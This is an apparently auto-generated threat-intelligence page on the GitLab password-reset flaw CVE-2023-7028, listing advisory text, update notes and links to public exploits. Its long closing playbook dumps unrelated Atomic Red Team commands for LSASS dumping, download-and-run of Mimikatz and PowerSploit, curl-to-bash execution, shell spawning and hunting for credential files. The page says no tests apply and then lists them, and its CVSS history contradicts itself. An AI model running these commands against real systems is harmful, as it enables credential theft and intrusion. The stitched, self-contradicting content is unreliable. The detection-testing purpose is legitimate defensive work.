CVE-2023-7028
Overview
This vulnerability is an authentication and authorization flaw in GitLab's password reset functionality. The root cause lies in improper validation of email addresses during the password reset process, allowing reset emails to be sent to unverified email addresses. The affected component is the user account management system handling password reset email dispatch across multiple GitLab CE and EE versions.
Vulnerability Description
An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.
Impact
An attacker can initiate password reset requests that send reset tokens to unverified email addresses, potentially allowing unauthorized access to user accounts if the attacker controls or intercepts those email addresses. This can lead to account takeover without requiring any authentication or user interaction beyond initiating the reset. The vulnerability risks exposure of sensitive user credentials and unauthorized account control, threatening confidentiality and integrity of user data within affected GitLab instances.
Solution
GitLab has released security patches addressing this issue in versions 16.1.6, 16.2.9, 16.3.7, 16.4.5, 16.5.6, 16.6.4, and 16.7.2. Users should upgrade their GitLab CE or EE installations to these versions or later to remediate the vulnerability. Detailed patch instructions and advisories are available at the official GitLab issue tracker: https://gitlab.com/gitlab-org/gitlab/-/issues/436084 and the HackerOne report https://hackerone.com/reports/2293343.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in GitLab Community Edition (CE) and Enterprise Edition (EE), affecting a wide range of versions. The flaw allows for user account password reset emails to be sent to unverified email addresses. This issue arises from improper validation during the password reset process, which can lead to unauthorized access to user accounts. Attackers can exploit this vulnerability by initiating a password reset request for a targeted user and intercepting the reset email, potentially gaining control over the victim's account. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to affected systems.
The primary attack vector involves social engineering techniques where an attacker may impersonate a legitimate user to trigger the password reset mechanism. By providing an unverified email address, the attacker can receive the reset link intended for the victim. This scenario is particularly concerning in environments where users may not have enabled two-factor authentication (2FA) or where email accounts are not adequately secured. Additionally, the ease of executing such an attack makes it accessible to individuals with minimal technical expertise, thereby broadening the potential threat landscape.
The real-world implications of this vulnerability are substantial. Organizations relying on GitLab for version control and collaboration may face severe business risks, including unauthorized access to sensitive code repositories, intellectual property theft, and potential data breaches. The compromise of user accounts could lead to further exploitation, such as the introduction of malicious code or unauthorized changes to project settings. Furthermore, the reputational damage and financial repercussions associated with a data breach can be significant, leading to loss of customer trust and potential legal liabilities.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that all instances of GitLab are updated to the latest versions that address this flaw. Regular patch management practices should be enforced to minimize exposure to known vulnerabilities. Additionally, organizations should enhance their email security measures, such as implementing DMARC, DKIM, and SPF protocols, to prevent email spoofing and ensure that password reset emails are sent only to verified addresses. Educating users about the importance of using strong, unique passwords and enabling 2FA can also significantly reduce the risk of account compromise.
In conclusion, the vulnerability in GitLab presents a serious threat to organizations utilizing this platform. The potential for unauthorized access to user accounts through improperly validated password reset emails highlights the need for robust security practices and timely updates. By understanding the technical details, attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such vulnerabilities and protect their critical assets. Proactive measures, including user education and stringent security protocols, will be essential in mitigating the risks associated with this and similar vulnerabilities in the future.
The CVSS score for CVE-2023-7028 has been updated from 9.8 to a maximum severity of 10.0, reflecting a reassessment of the vulnerability’s critical impact on GitLab environments. This change underscores the absolute severity of the password reset email flaw, which allows unauthorized delivery of reset credentials to unverified addresses, significantly increasing the risk of account compromise. Concurrently, the Exploit Prediction Scoring System (EPSS) score has shown a slight upward trend, indicating a modest increase in the likelihood of exploitation based on current threat activity and exploit availability. CSURFACE threat intelligence has noted the continued presence and dissemination of multiple proof-of-concept exploits and vulnerable instance repositories, which sustain attacker interest and lower the barrier to exploitation. Although ransomware usage linked to this vulnerability remains undetermined, the critical severity and active exploit landscape elevate the urgency for defenders to recognize this flaw as a top-tier threat. This update signals a heightened risk posture, emphasizing that organizations running affected GitLab versions face an increased probability of targeted attacks leveraging this vulnerability.
Update 2 — July 07, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-7028, with telemetry indicating a significant increase in exploit attempts targeting vulnerable GitLab instances. This surge coincides with the recent adjustment of the CVSS score to 9.8, reflecting a refined understanding of the vulnerability’s impact and exploitability. While the EPSS score remains stable at a high percentile, the proliferation of new proof-of-concept exploits on public repositories continues to lower the barrier for adversaries, facilitating more widespread and opportunistic exploitation attempts. The absence of confirmed ransomware campaigns exploiting this vulnerability does not diminish the elevated risk, as the critical severity combined with active exploitation trends underscores an urgent threat environment. Defenders should recognize that the probability of targeted attacks exploiting this flaw has increased, necessitating heightened vigilance in monitoring and incident response efforts.
Update 3 — July 16, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-7028, reflected by a significant increase in telemetry activity. This surge coincides with the sustained availability and visibility of multiple new proof-of-concept exploits on public platforms, which continue to lower the technical barrier for adversaries. Although ransomware usage linked to this vulnerability remains unconfirmed, the heightened detection frequency signals growing adversary interest and opportunistic probing. For defenders, this evolving landscape indicates an elevated risk of unauthorized account access through compromised password reset mechanisms, underscoring the need for increased monitoring and rapid incident response. Consequently, the threat level associated with CVE-2023-7028 should be considered heightened, reflecting both the critical severity of the vulnerability and the intensifying exploitation trends observed in the wild.
Update 4 — July 24, 2026
CSURFACE threat intelligence has identified a slight increase in activity related to CVE-2023-7028, reflecting a modest rise in adversary probing attempts targeting the password reset mechanism in GitLab CE/EE environments. While the overall exploitation trend remains stable, the persistence of multiple publicly available proof-of-concept exploits continues to lower the barrier for threat actors seeking to leverage this vulnerability. This sustained interest, coupled with the critical severity of the flaw, underscores a persistent risk of unauthorized account access through intercepted or misdirected password reset emails. Although ransomware usage linked to this vulnerability remains unconfirmed, the incremental uptick in detection activity signals that opportunistic exploitation attempts are ongoing. Consequently, the threat level associated with CVE-2023-7028 should be regarded as persistently elevated, warranting continued vigilance in monitoring and incident response efforts.
Update 5 — August 15, 2026
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2023-7028, accompanied by an upward revision of the CVSS score to the maximum of 10.0. This adjustment reflects a refined understanding of the vulnerability’s critical impact, particularly the potential for unauthorized access via misdirected password reset emails. Although the EPSS score remains stable, indicating no rapid surge in exploit prevalence, the presence of multiple new proof-of-concept exploits circulating publicly underscores sustained attacker interest and accessibility. Our telemetry suggests that adversaries continue probing this vector, maintaining a persistent threat environment. While ransomware usage linked to this vulnerability remains unconfirmed, the heightened severity rating and ongoing exploitation activity necessitate an elevated risk posture. Defenders should recognize that the vulnerability’s criticality and exploitability have solidified, reinforcing the imperative for vigilant monitoring and response.
Affected Products (14)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
|
|
|
Gitlab | Gitlab | All |
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
GitLab Password Reset Account Takeover
auxiliary/admin/http/gitlab_password_reset_account_takeover
|
h00die, asterion04 | Unknown | - | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| GitLab CE/EE < 16.7.2 - Password Reset | 0xB455 | remote | java | - | View |
GitHub PoCs (17)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Vozec/CVE-2023-7028
This repository presents a proof-of-concept of CVE-2023-7028
|
Vozec | 245 | 43 | 2024-01-12 | View |
|
RandomRobbieBF/CVE-2023-7028
CVE-2023-7028
|
RandomRobbieBF | 58 | 11 | 2024-01-12 | View |
|
duy-31/CVE-2023-7028
An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16....
|
duy-31 | 3 | 4 | 2024-01-12 | View |
|
Esonhugh/gitlab_honeypot
CVE-2023-7028 killer
|
Esonhugh | 4 | 0 | 2024-01-18 | View |
|
hackeremmen/gitlab-exploit
GitLab CVE-2023-7028
|
hackeremmen | 1 | 3 | 2024-01-28 | View |
|
Trackflaw/CVE-2023-7028-Docker
Repository to install CVE-2023-7028 vulnerable Gitlab instance
|
Trackflaw | 3 | 0 | 2024-01-25 | View |
|
sariamubeen/CVE-2023-7028
|
sariamubeen | 3 | 0 | 2025-02-17 | View |
|
thanhlam-attt/CVE-2023-7028
|
thanhlam-attt | 2 | 1 | 2024-01-23 | View |
|
gh-ost00/CVE-2023-7028
CVE-2023-7028 POC && Exploit
|
gh-ost00 | 1 | 0 | 2024-08-21 | View |
|
szybnev/CVE-2023-7028
This FORK of repository presents a proof-of-concept of CVE-2023-7028. I am only improve exploit usage
|
szybnev | 1 | 0 | 2025-07-21 | View |
|
googlei1996/CVE-2023-7028
CVE-2023-7028 poc
|
googlei1996 | 0 | 1 | 2024-01-12 | View |
|
yoryio/CVE-2023-7028
Exploit for CVE-2023-7028 - GitLab CE/EE
|
yoryio | 0 | 1 | 2024-01-18 | View |
|
mochammadrafi/CVE-2023-7028
Python Code for Exploit Automation CVE-2023-7028
|
mochammadrafi | 0 | 0 | 2024-01-26 | View |
|
soltanali0/CVE-2023-7028
Implementation and exploitation of CVE-2023-7028 account takeover vulnerability related to GO-TO CVE weekly articles of ...
|
soltanali0 | 0 | 0 | 2024-07-25 | View |
|
Sornphut/CVE-2023-7028-GitLab
|
Sornphut | 0 | 0 | 2025-03-29 | View |
|
KameliaZaman/Exploiting-GitLab-CVE-2023-7028
Penetration test targeting CVE-2023-7028
|
KameliaZaman | 0 | 0 | 2025-08-05 | View |
|
Shimon03/CVE-2023-7028-Account-Take-Over-Gitlab
|
Shimon03 | 0 | 0 | 2024-01-23 | View |
Threat Feed
19 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-50 | Password Recovery Exploitation |
40%
|
Medium | High |
Red Team Playbook
108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
